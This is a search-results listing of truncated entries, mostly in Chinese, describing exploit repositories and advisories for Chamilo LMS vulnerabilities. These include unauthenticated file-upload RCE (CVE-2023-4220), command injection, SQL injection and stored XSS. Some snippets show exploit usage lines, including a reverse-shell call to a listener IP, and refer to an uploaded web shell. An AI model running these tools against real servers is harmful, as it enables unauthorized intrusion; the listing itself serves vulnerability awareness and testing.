1541 matches found
CVE-2023-4220_Chamilo_RCE
CVE-2023-4220 针对 Chamilo 无限制文件上传漏洞 - CVE-2023-4220 的 Python 利用脚本 本仓库中的代码仅供教育用途。 描述:Chamilo LMS = v1.11.24 中 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞,允许未认证的攻击者通过上传 Web Shell 执行存储型跨站脚本攻击并获得远程代码执行。 root@kitploit: usage: CVE-2023-2240.py -h -H TARGETHOST -l LHOST -p...
CVE-2023-4220-Chamilo-LMS
Chamilo LMS 未认证大文件上传远程代码执行漏洞 PoC 该脚本允许利用 CVE-2023-4220 所描述的 Chamilo LMS 软件安全漏洞。系统在 1.11.24 之前的版本中存在漏洞。 用法 将仓库克隆到您的计算机并使用 pip 安装依赖项(建议使用 virtualenv 创建一个环境,以将这些安装与全局安装分开) root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...
Chamilo-CVE-2023-4220-Exploit
Chamilo-LMS-CVE-2023-4220-Exploit 这是一个针对 Chamilo LMS 中大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的未限制文件上传漏洞(CVE-2023-4220)的利用程序。受影响版本为 Chamilo LMS = v1.11.24。攻击者可通过上传 Web Shell 获得远程代码执行权限,从而允许任意文件被上传到 /main/inc/lib/javascript/bigupload/files 目录。 漏洞利用演示 你可以首先运行该漏洞利用程序以了解如何使用它:...
Chamilo LMS <= v1.11.20 Unauthenticated Command Injection
Command injection in /main/webservices/additionalwebservices.php in Chamilo LMS = v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. id: CVE-2023-3368 info: name: Chamilo LMS = v1.11.20 Unauthenticated Command Injection...
Chamilo model.ajax.php - SQL Injection
main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter. id: CVE-2021-34187 info: name: Chamilo model.ajax.php - SQL Injection author: DhiyaneshDK severity: critical description: | main/inc/ajax/model.ajax.php in Chamilo...
Chamilo Command Injection
A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11. up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical...
CVE-2023-34960
ChamiloCVE-2023-34960-EXP 帮助: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完整URL地址http/https -f FILE, --file FILE 批量URL文件 -c COMMAND, --command COMMAND 执行命令,可选 示例: root@kitploit: 单个url python3...
chamilo-lms-unauthenticated-rce-poc
Chamilo LMS 未认证 RCE PoC 这是一个用 Python 编写的脚本,用于利用 CVE-2023-4220 中描述的 Chamilo LMS 软件安全漏洞。该系统在 1.11.24 之前的版本中存在此漏洞。 用法 将仓库克隆到你的机器上,并使用 pip 安装依赖项(建议使用 virtualenv 创建独立环境,以便将这些安装与全局安装分开): root@kitploit: git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd...
CVE-2023-34960
CVE-2023-34960 Chamilo 命令注入 带自动上传 shell。 (运用你的逻辑)检查漏洞结果的目录路径,然后你可以找到你的访问 shell wso.php 安装与执行 root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r requirements.txt $ python3 finder.py 注意 更多命令可自行编辑 finder.py 的 第66行 作者 MantodKaz 免责声明!!...
CVE-Chamilo-LMS
CVE Chamilo LMS Colección de CVE Chamilo LMS Donar...
CVE-2026-82535
Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...
EUVD-2026-76159
Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...
CVE-2026-82535 Chamilo LMS Stored XSS via Survey Answer Submission in reporting.php
Chamilo LMS before 1.11.42 and 3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious script payloads into survey answers by computing deterministic invitation codes and bypassing authorization checks in the survey submission endpoint...
CVE-2026-82535
Chamilo LMS versions before 1.11.42 and 3.0.0 contain a stored cross-site scripting (XSS) vulnerability in the survey answer submission flow. Unauthenticated attackers can inject malicious script payloads into survey answers by computing deterministic invitation codes that bypass authorization ch...
CVE-2023-4226
🛠️ CVE-2023-4226 利用工具 for Chamilo LMS 📋 描述 Python 脚本,用于自动化利用 Chamilo LMS (= v1.11.24)中的 CVE-2023-4226 无限制文件上传漏洞。上传基于 PentesterMonkey 的 PHP Web Shell 并配置 .htaccess,以实现 反弹 Shell 。更多详情请参阅:STAR Labs 公告。 🔍 漏洞 产品 :Chamilo LMS 严重性 :高(CVSS 3.1: 8.8) 受影响版本 := v1.11.24 描述 :具有学习者角色的用户可通过...
CVE-2023-4220
CVE-2023-4220 PoC Chamilo LMS 未授权大文件上传远程代码执行 此仓库包含针对 CVE-2023-4220 的概念验证(PoC),这是一个影响 Chamilo LMS 的远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者利用大文件上传功能,在服务器上执行任意代码。 目录 CVE-2023-4220 PoC - Chamilo LMS 未授权大文件上传远程代码执行 目录 漏洞详情 免责声明 摘要 什么是 LMS 什么是 Chamilo 环境要求 使用方法 设置 利用步骤 示例 缓解措施 参考资料 作者 许可证 漏洞详情 CVE ID :...
CVE-2023-4220
CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...
CVE-2023-4220
使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞(CVE-2023-4220)。通过Web Shell,该工具可自动化利用该漏洞,从而控制受影响的Chamilo LMS实例。 功能: 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 root@kitploit: ./exploit.py -t http://example.com 截图 免责声明: 此工具仅用于教育目的,并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链...
chamilo-lms-unauthenticated-big-upload-rce-poc
Chamilo LMS 未认证大文件上传 RCE PoC 这是一个用 Python 编写的脚本,允许利用 CVE-2023-4220 描述的 Chamilo LMS 软件安全漏洞。该系统的版本在 1.11.24 之前受此漏洞影响。 使用方法 将仓库克隆到本地并安装依赖(建议使用 virtualenv 创建隔离环境,以避免与全局安装冲突): root@kitploit: git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd...
CVE-2023-4220-exploit
CVE-2023-4220-漏洞利用 Chamilo LMS 版本 = 1.11.24 中,位于 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能存在无限制文件上传漏洞,允许未经身份验证的攻击者通过上传 web shell 执行存储型跨站脚本攻击(Stored XSS)并获得远程代码执行。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...